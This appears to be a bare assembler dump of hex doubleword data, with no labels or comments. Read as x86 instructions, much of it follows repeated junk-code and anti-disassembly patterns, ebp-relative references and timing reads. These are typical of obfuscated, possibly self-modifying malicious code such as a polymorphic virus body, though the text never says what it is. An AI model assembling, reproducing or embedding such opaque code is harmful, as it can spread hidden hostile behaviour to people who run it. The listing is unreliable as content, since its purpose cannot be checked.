		dd 5302C356h, 11E924Ch,	0CB42BA28h, 8B50DE8Bh, 6A5FDEh
		dd 1C19D23h, 6A0614h, 301DBD23h, 95FF0614h, 6141B19h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 95C35646h, 0A7788D8Dh
		dd 0BD8B0617h, 6140771h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 831471C3h, 1401CDBDh
		dd 850F0106h, 4Eh, 6E9h, 46064600h, 6AB83BADh, 0A5B52902h
		dd 50061412h, 0A40BB66h, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 6607C357h
		dd 0D963FBA8h, 562DD4F7h, 95FF5FFCh, 61433ADh, 6226F381h
		dd 24E9207Fh, 0E800000Dh, 0
		dd 0D4ED815Dh, 6A061918h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 7388C350h, 0F60B2BEh
		dd 1A85h, 14E800h, 0BE6A0000h, 0C91037EBh, 450E386Fh, 0E6D034AAh
		dd 0DA292001h, 895AEF1Dh, 140795BDh, 858D6106h,	6178E49h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 30C35646h
		dd 0AE9FBh, 0A5010000h,	0A360AAC9h, 47F07685h, 0B699D09h
		dd 66500614h, 489F88Bh,	643CB324h, 35FFh, 0BF660000h, 89643B13h
		dd 25h,	50006A00h, 3E8h, 0C3582000h, 24448958h,	24448104h
		dd 1904h, 0C3504000h, 0AF087828h, 0CB819019h, 2D5399A5h
		dd 0FFDEBF0Fh, 142DED85h, 7E806h, 2CA50000h, 506571A8h
		dd 38F0FDEh, 80000000h,	6A5B90EFh, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 9B97BF44h
		dd 0B5FF0CAEh, 6140D09h, 0B4E78166h, 8995FF09h,	0E906142Ah
		dd 100h, 0B0F88Ah, 0AD6CF0BBh, 970E66Bh, 1419C9BDh, 0F71E406h
		dd 68Fh, 870F00h, 3C000000h, 0D9830F61h, 9000000h, 140EF5BDh
		dd 0C8B60F06h, 9D8B43B3h, 61418D9h, 6BAh, 11852900h, 66061401h
		dd 167E781h, 0FC8AC18Bh, 3304E8C1h, 1434C99Dh, 0E2F76606h
		dd 6BCF8166h, 89C82BDEh, 1404BD8Dh, 0D18BFC06h,	8F84C381h
		dd 8DE93B14h, 0E9000000h, 0Dh, 955BAC05h, 0B3C2C4B4h, 86050A51h
		dd 49858B89h, 8944004Eh, 14076DB5h, 75952906h, 8306140Eh
		dd 816607C0h, 83A71AF7h, 9D8B00C0h, 6141DC9h, 830FD03Bh
		dd 0Dh,	0E9FA8B66h, 48h, 2F5F1DBBh, 0FF8D8B0Ah,	8BFFFFFFh
		dd 1E183DFh, 32840Fh, 0BF660000h, 0A5839688h, 0FFFFFFFFh
		dd 0B5BB66FEh, 499589EBh, 0F44004Eh, 1284h, 0DE900h, 0C2E50000h
		dd 2AA6C04Ah, 0A50E58h,	0E9074D71h, 0
		dd 8779B58Dh, 800F0618h, 1, 6A006AF5h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 6525C353h
		dd 0FDEB8166h, 7195FF41h, 0E8061429h, 9, 90DF648Dh, 4F942D0h
		dd 8E92Ch, 0FAD70000h, 0BFCE4CCFh, 0B95B3E56h, 0EE7h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E3C35141h, 0D9CD79BFh
		dd 0FCE18351h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	85C35242h, 92F9D8F2h, 0D22DD9C9h, 0DDBD29FCh, 0FC061418h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 19C35646h
		dd 0D7F5A187h, 6B3D6A6Ch, 0A69BD8Bh, 0C02B0614h, 7958D09h
		dd 0D22B0614h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	41C35343h, 0D8B0F00h, 0E9000000h, 8, 63D9E7EEh
		dd 0AE1C6177h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0AAC35141h, 119D89DCh
		dd 6A061425h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 31CFC350h, 76BE4F1Ah, 0C2FCE75Bh
		dd 5BDA8B56h, 880Dh, 958BF900h,	6142B69h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 0A2C35343h, 6613F429h
		dd 0DB74CB81h, 10558D8Bh, 91BB0614h, 8B552685h,	1420859Dh
		dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh
		dd 519D8BFEh, 8306140Ch, 140F4DBDh, 840F0006h, 4Fh, 4458D381h
		dd 0B87FCFh, 66000000h,	8D2A38BBh, 144DFF8Dh, 21BD8B06h
		dd 0FF06140Eh, 52006AE1h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0D4087744h, 0CBAD56BCh
		dd 0FF5B583h, 68Ah, 0C9950900h,	83061434h, 14013DBDh, 840F0006h
		dd 541h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 16h,	7CC35646h, 8F0F99E8h, 0
		dd 13DBD83h, 0F010614h,	52B84h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 1CD89F0Bh
		dd 0D98A0B37h, 13DBD83h, 0F030614h, 4C586h, 0A59D8900h
		dd 8B06140Ah, 1402DDBDh, 6A6006h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0F23F28C3h, 0D8E4163Ah
		dd 14E9D0ABh, 56000000h, 0EC083FBEh, 0E48F91F7h, 68CADC83h
		dd 5FBCAB14h, 0FBF1DEAh, 681h, 0E9BD8B00h, 66061401h, 6AD98Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 9D5369C3h, 8BF92FBFh, 0E95653FEh, 7,	6203294Bh, 5B68ED2Dh
		dd 4E1805Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	51C35747h, 4CBF4C99h, 0E944F6F2h, 9, 0CA5300B7h
		dd 6DCBB785h, 88E780D5h, 840FC90Ah, 181h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 93C35545h, 9B2E05A2h
		dd 8BA10944h, 140E3585h, 68D0F06h, 8B000000h, 141CF59Dh
		dd 0A9853306h, 6A061406h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0B0C1C355h,	799D8B91h
		dd 50061434h, 0EE8h, 0D61E6100h, 0E68545Eh, 0E5EBD435h
		dd 668F0A23h, 895FD98Bh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0EF8E24C3h, 2B398D89h
		dd 6A0614h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 17h,	0E6C35141h, 81EFEB36h, 88AD52D7h, 4E843h, 3FF0000h
		dd 46BF001Fh, 50416D20h, 8E9h, 36808B00h, 30D8131Dh, 24448BDCh
		dd 14E86004h, 0BF000000h, 32A40981h, 674E856Bh,	83865F48h
		dd 59EFB906h, 504B62A9h, 5A310F52h, 8B615B58h, 0DF8B6600h
		dd 4244489h, 84FB15BFh,	6A5812h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 6C9B56C3h, 95FF13AEh
		dd 614089Dh, 23C38166h,	0EA8589ADh, 0E90617A7h,	0Eh, 15D9E148h
		dd 9F3B3AC9h, 8E64B6C8h, 0BE95E2Fh, 6A000002h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0EF19C355h, 0B7A86539h, 0E2858BC6h, 6A0617A7h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0C027C357h, 52609E9Dh, 198DBD89h, 8B5B0614h,	0C761C8h
		dd 18h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h
		dd 0D9C35646h, 8B3B2F11h, 17A7E6B5h, 81858B06h,	6A061402h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0A49FC353h, 0AB8536F8h, 1348FBEFh, 6A0689FCh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 778EC357h, 0E4293222h, 899534B5h,	140469BDh
		dd 35858B06h, 6606140Eh, 0CE9FF381h, 6A044689h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 1186C350h, 0AE0AC0BEh, 79706A81h, 0E850D98Bh, 12h, 3726E5C4h
		dd 5B71C665h, 0A0E9DCB8h, 9CBD8393h, 895FA755h,	0BB662434h
		dd 0B5FFAC82h, 617A7E2h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 6DC35242h, 4DB0EDA5h,	0FFCB650h, 188Dh
		dd 13E900h, 4FC80000h, 97AD6AFCh, 2DB35EAFh, 0E1931E14h
		dd 692D6632h, 11BD89C5h, 6806142Bh, 780B0E9h, 0ED89B5BBh
		dd 24348107h, 79FB316h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 5AC35141h, 4527D09Bh,	858D5479h, 617A7EAh
		dd 17880Fh, 12E90000h, 15000000h, 0F68451C5h, 5A2D11E7h
		dd 2BA5FB6Ah, 0E6F12939h, 0B58589D0h, 90061433h, 6650F88Bh
		dd 990F98Bh, 14183D8Dh,	0DBBF0F06h, 89D95FFh, 6A0614h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0B0B931C3h, 6A6161B9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 89FCC351h, 140BB9B5h
		dd 3D85C706h, 3061401h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0A6F7C355h
		dd 0BD83CB27h, 617A7EAh, 37840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 73AEC352h, 0F4D3884h, 2AE9D9BFh, 0F000000h, 988h, 38C0F00h
		dd 66000000h, 3050DF8Bh, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 0FB8B66C0h, 83F9BF0Fh,	14013DBDh
		dd 850F0306h, 338h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 66C35545h, 6421D6ABh,	0A7EABD83h, 0F000617h
		dd 30B84h, 0EAB5FF00h, 570617A7h, 3059BD89h, 8B5B0614h
		dd 1433A5BDh, 3995FF06h, 66061403h, 8672DB81h, 0A7DEB58Bh
		dd 0BD230617h, 6141B9Dh, 106C7h, 0B5890001h, 6141531h
		dd 8E896h, 83C40000h, 7A625EFCh, 8E826FDh, 48000000h, 0B3A0C9EBh
		dd 0E91FEFCFh, 0Dh, 89D9ED04h, 0DDC6393Eh, 560B58EDh, 505B5BF2h
		dd 89963FB7h, 1423398Dh, 0D5858906h, 0FF06140Eh, 17A7EAB5h
		dd 0FF5B5106h, 14108195h, 0C2806006h, 61FC609Fh, 0DEB58B61h
		dd 0BB0617A7h, 20C1DCDh, 0FF9858Bh, 0E7810614h,	603AB102h
		dd 0C48689h, 0D98B0000h, 2B69958Bh, 6A0614h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 4CA1CCC3h
		dd 0BD23AB98h, 61416CDh, 6A04C283h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 9EF3C350h
		dd 0E9BD8B46h, 8906141Ch, 6A2050h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0E90141C3h, 73CD3A93h
		dd 0FB8B9EEDh, 2959D09h, 858D0614h, 617BC23h, 7E8h, 196ECB00h
		dd 95B64BC1h, 61850360h, 8906142Ah, 140E19BDh, 895F6106h
		dd 0B886h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0FFF5D981h, 57D6B92Fh, 2CBBFC89h
		dd 6A665A20h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0C78152DBh, 6995E91Ah, 0EAB5FF5Bh
		dd 6A0617A7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0D4A6C356h, 8A7923C2h,	0FF62C5CCh
		dd 1433AD95h, 0CE806h, 0A7F90000h, 0F5D61715h, 72B62E66h
		dd 85BFCC7Ch, 5F3B18EFh, 9E950h, 27F60000h, 0B3E8465Bh
		dd 89C5FEF7h, 0BD292434h, 6140949h, 169BD8Bh, 0B5FF0614h
		dd 617A7EAh, 37DBD33h, 880F0614h, 5, 13CF8166h,	995FF7Ch
		dd 0F9061423h, 1189BD83h, 0F000614h, 2584h, 0DF816600h
		dd 895074AEh, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0B5FFB0C3h, 617A7EAh, 261BD33h
		dd 95FF0614h, 61402D5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 55C35646h
		dd 0EACF0818h, 859D8BEDh, 0FF061412h, 17A7EAB5h, 0A806BB06h
		dd 95FF4554h, 6140B75h,	6820Fh,	0E3810000h, 5183F30Ah
		dd 112DBD83h, 0F020614h, 1784h,	39850100h, 8B06141Ch, 14005585h
		dd 89FB8B06h, 141B9D8Dh, 0C606h, 1E4985C7h, 614h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 6B09BEC3h, 0BB663AAAh, 5E9BAC2h, 89000000h, 3D1890D7h
		dd 0FFF3D6E9h, 158589FFh, 8B06142Ah, 759D8BC1h,	8D061416h
		dd 14079185h, 0F7816606h, 8B90731Eh, 809050F8h,	6AF8C7h
		dd 6810Fh, 9D8B0000h, 6143031h,	6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8D173FC3h
		dd 1927D485h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 681324Ah,	5C0839Fh, 34899D01h, 0F7800614h
		dd 525050B4h, 310FDE8Bh, 7E8h, 58D95A00h, 0D648B57h, 5A5F5B52h
		dd 24048958h, 1C51BD29h, 6A0614h, 7D8BBA60h, 0A7B97BDEh
		dd 614591E6h, 2E658501h, 6A0614h, 98D78166h, 1995FF7Ah
		dd 6A06141Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0A379C352h, 0EA68C0ECh, 0D5858970h
		dd 8906141Bh, 14311985h, 788D8D06h, 6A0617A7h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0D820C357h, 0F4A124B7h, 19BD2BEBh, 0FF061419h, 50006AD1h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 810B3A39h, 0BE5143EFh, 0CDBD832Dh, 1061401h,	9E850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0B56504C3h, 10E89A4Bh, 39000000h,	0DCFD68B9h
		dd 1B7C2F3Ch, 8CB136FCh, 0F953A533h, 90026A5Bh,	0F525060h
		dd 8F0F31h, 5A000000h, 66506158h, 908BFDBBh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0E6C35141h, 4E8E15ECh
		dd 6638BF5Ah, 95FF2666h, 61433ADh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 6C35141h, 0EB699B99h, 0DFBF0F98h
		dd 0E7FE9h, 0E800h, 815D0000h, 1927DEEDh, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 6AF438h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 7CC6A6C3h, 858DD8C0h, 6178E49h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F7C35747h, 12E990F5h
		dd 0E9000000h, 7FBC4B97h, 2E1905DFh, 0C60B6867h, 0BDF6AA4Fh
		dd 66505051h, 905BD98Bh, 6840Fh, 85890000h, 6142B61h, 35FF64h
		dd 1000000h, 140AB595h,	0ECBF6606h, 2589649Ah, 0
		dd 6840Fh, 0B5890000h, 6141FCDh, 2DED85FFh, 6A0614h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 19778BC3h, 0DBF3BF66h, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0D0D7C9C3h, 0D8BF1C63h
		dd 0FF5727F6h, 140499B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0D3150BEDh
		dd 814B8F5Eh, 0BED970D7h, 8995FF60h, 0E906142Ah, 0E7h
		dd 0AD5BBB66h, 0C38100B0h, 29A3D4DEh, 0B58970E6h, 6140329h
		dd 0BD8B71E4h, 6140DD9h, 830F613Ch, 0C3h, 66C8B60Fh, 6BAFB8Bh
		dd 8B000000h, 55BD2BC1h, 0C106142Dh, 0EEB304E8h, 2BE2F766h
		dd 0FFBF0FC8h, 870FD18Bh, 3, 8BF88B66h,	1400959Dh, 8DE906h
		dd 0BD8B0000h, 6142D95h, 4C4C858Bh, 81B7505Fh, 38D0Fh
		dd 0BF0F0000h, 7C083DFh, 68B0F51h, 29000000h, 1416E19Dh
		dd 0C0835B06h, 85895300h, 6142301h, 0FD03B5Fh, 0D83h, 23F88A00h
		dd 1408A99Dh, 45E906h, 8D8B0000h, 0FFFFFFFFh, 9141EF81h
		dd 81665D00h, 8338E3C7h, 840F01E1h, 2Bh, 2BDA88BFh, 0FFA58320h
		dd 0FEFFFFFFh, 6E9h, 0E1221400h, 89A33EB3h, 5F4C4C95h
		dd 0FAB70F50h, 18B1BD0Bh, 0E90614h, 8D000000h, 189C48B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 6AB5E292h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0DFA8BACEh
		dd 8F0FB9F4h, 4, 0CFDFBF66h, 297195FFh,	6A0614h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0DC3631C3h, 544A9ECFh, 6880F24h, 81000000h, 0B198AEFh
		dd 0FC3B901h, 9D330000h, 6140D51h, 89BD2B50h, 5B061406h
		dd 6AFCE183h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 9E6EC356h, 8F3C3CDBh, 0FC5C7BD9h
		dd 0DE9h, 808F0D00h, 376A6E0Ah,	0AF42F679h, 0B85213h, 8B000000h
		dd 2BF98BF8h, 57006AD2h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0E1F2645Ah, 8C0FEAB3h, 0
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0F59D8Bh,	0A2BB0614h
		dd 0D4EC7D2h, 88h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 41C35040h, 9E996h, 30260000h,	35119F5Ah
		dd 89D46A0Dh, 14084D9Dh, 69958B06h, 8006142Bh, 8D8B81CFh
		dd 6141055h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	1AC35040h, 6A794347h, 0C8173718h, 0C28B50BEh, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0D62BC350h
		dd 874C36A1h, 81A01FFAh, 838152F7h, 9E942h, 0C0630000h
		dd 69986AF9h, 8051AE5Ah, 0BD8357D3h, 6140F4Dh, 59840F00h
		dd 8B000000h, 140A95BDh, 0B806h, 10E80000h, 35000000h
		dd 0F698D1CFh, 4C45E053h, 32C067Ch, 0B3918177h,	8D8D5B8Ah
		dd 6144DFFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0AEC35040h, 475945C7h, 0B5896A18h, 6142099h, 9D8BE1FFh
		dd 614318Dh, 13DBD83h, 0F000614h, 4EB84h, 890F6000h, 3
		dd 618BEC80h, 13DBD83h,	0F010614h, 4EE84h, 0E1816000h
		dd 29B8BD8Ah, 1E61BD8Bh, 8B610614h, 140E9D9Dh, 3DBD8306h
		dd 3061401h, 497860Fh, 0DB810000h, 581EBB30h, 21BD8B60h
		dd 66061426h, 68B3D98Ch, 6604E180h, 9D8BD98Bh, 6140639h
		dd 840FC90Ah, 1B0h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 7DC35242h, 637DCB81h,	11E83F26h, 0A6000000h
		dd 42630E6Eh, 357FB21Ah, 0C154BD0Bh, 383B2DF8h,	5BF98B66h
		dd 0E35858Bh, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0CAE3C8C3h, 0BD8BE835h, 61434B5h
		dd 7E9h, 3FFF8500h, 3D80D803h, 6A98533h, 6A0614h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 917032C3h, 51609092h, 0F5AC68Bh, 48Fh, 70BB6600h, 9050615Eh
		dd 6ABDB3h, 34E1BD8Bh, 0C2680614h, 50E86D48h, 9FBF6652h
		dd 0F310FE3h, 0F8Bh, 9E800h, 6A880000h,	0AC73B6C1h, 5F6763C9h
		dd 481585Ah, 0B1BB3D24h, 51006A17h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0DCA7FA7Fh, 0F30A0FCEh
		dd 158589h, 95FF0614h, 614089Dh, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0E2C35646h,	0D1D2E04Ah, 0E88E19A5h
		dd 14h,	0F2A8D791h, 1EBCDC7Dh, 0FD023D8Bh, 0B569BD7Eh
		dd 89605027h, 9F895BBFh, 0FE8B5B39h, 0A7EA8589h, 6A0617h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 3138EC3h, 14F8A24Ch,	270E9h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0A21FEC90h
		dd 0DB95D0D9h, 6840Fh, 85010000h, 6142C1Dh, 0A7E2858Bh
		dd 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 4490B3C3h, 8C6CA16Ch, 0C7DA8A9Ch,	1800h
		dd 0E6B58B00h, 6A0617A7h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0C2EAC357h,	1E2E1EE9h
		dd 18F0F45h, 0FC000000h, 860FFA8Bh, 1, 81858BF5h, 6A061402h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 32E5C355h, 840EEA2h, 51BD8B87h, 81061420h
		dd 6FD3BF3h, 0B306894Ah, 35858B5Bh, 6A06140Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0D32FC352h, 0E2BF66h, 8B044689h, 0BB6650FBh,	3489D3A7h
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0DE8B552Ah, 0A7E2B5FFh, 6A0617h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 7A041FC3h, 6E8D060Fh, 0F6087EBh, 38Ah, 0CB8B6600h, 8B61A4B4h
		dd 1410B5BDh, 4E806h, 3FF0000h,	0AE9001Fh, 0C5000000h
		dd 0A8DDE311h, 0E8A9AFD8h, 0D88B50DCh, 424448Bh, 8BDF8B66h
		dd 52505600h, 0FF88B66h, 0F88B6631h, 895F585Ah,	50042444h
		dd 11E852h, 85D20000h, 0ADE321CFh, 0F5DD1EF6h, 9B9D971Bh
		dd 60BD0C2Dh, 310F5B61h, 0DB0FCFBFh, 58585A43h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0ADC35747h, 0C317BF66h
		dd 5DBD23h, 858D0614h, 617A7EAh, 5B506090h, 0DA8B5061h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 9ACB3AFh, 89E86F39h, 1409F595h, 0FE906h
		dd 0F7710000h, 421A72FCh, 0EF3FBBEBh, 27A8528Fh, 9D95FFEDh
		dd 6A061408h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 3DC5C351h, 4133086Ch, 12E9h, 0F1A3AC00h
		dd 7E5B7F58h, 5D6F5473h, 2AC9250Bh, 89C9C491h, 142DDDB5h
		dd 12E96106h, 0DF000000h, 79E85CB3h, 0BA9782D1h, 0F5BB4937h
		dd 7DC7D6A9h, 3D85C71Fh, 3061401h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 8964C357h, 83F8F2D3h, 17A7EABDh, 840F0006h, 31h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0CAC35141h, 9E2703DCh
		dd 27E9h, 45858900h, 306140Eh, 14266DBDh, 0C305006h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0F0C35646h,	8988D96Ah, 82CE791Fh
		dd 0B3A9BFFEh, 6A7E5Eh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 840FEEC3h, 5, 85CF8166h,	79BD2B38h
		dd 8306140Fh, 14013DBDh, 850F0306h, 457h, 68B0Fh, 8D890000h
		dd 6141EF9h, 0A7EABD83h, 0F000617h, 43E84h, 0D8B70F00h
		dd 0A7EAB5FFh, 6A0617h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 7CAD41C3h, 662F0691h, 1BD8D01h
		dd 95FF0614h, 6140339h,	95895153h, 6141119h, 840F5B5Bh
		dd 17h,	12E9h, 2B530F00h, 0FFC145FFh, 3879111Bh, 3F0E7268h
		dd 8B808D58h, 17A7DEB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 896E620Ah, 141DF9B5h
		dd 106C706h, 50000100h,	484EB2BBh, 2434897Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B8C35343h, 0A7EAB5FFh
		dd 0B70F0617h, 8195FFFBh, 6A061410h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 845C353h
		dd 9F21B312h, 0E83D5A9Eh, 10h, 6D4DA721h, 0E4EA94D7h, 0BFCFE7Ch
		dd 3A4243BAh, 6870Fh, 0BD8B0000h, 6140201h, 0DEB58B5Bh
		dd 10617A7h, 1410A995h,	0F9858B06h, 6A06140Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0DDF6C357h, 246D881Dh, 893656A7h, 140C5985h,	0DEBF0F06h
		dd 0C48689h, 82B30000h,	2B69958Bh, 6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0F43A08C3h
		dd 89F1756Ah, 140B058Dh, 4C28306h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0EDC35747h,	0F98B29BBh, 6A205089h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 653DC357h, 0FF110954h, 8D9D0B2Bh,	8B061400h
		dd 142FA59Dh, 23858D06h, 0B70617BCh, 0B8868956h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 6546C351h, 2D9D8BAFh, 6A06141Ch, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 99030E4Eh, 857C217Eh, 85BD8B49h, 0FF06140Ah,	17A7EAB5h
		dd 25853106h, 0FF061400h, 1433AD95h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 25F0048Dh
		dd 53FF100h, 859D89B9h,	81061401h, 0A31041C3h, 0BB665000h
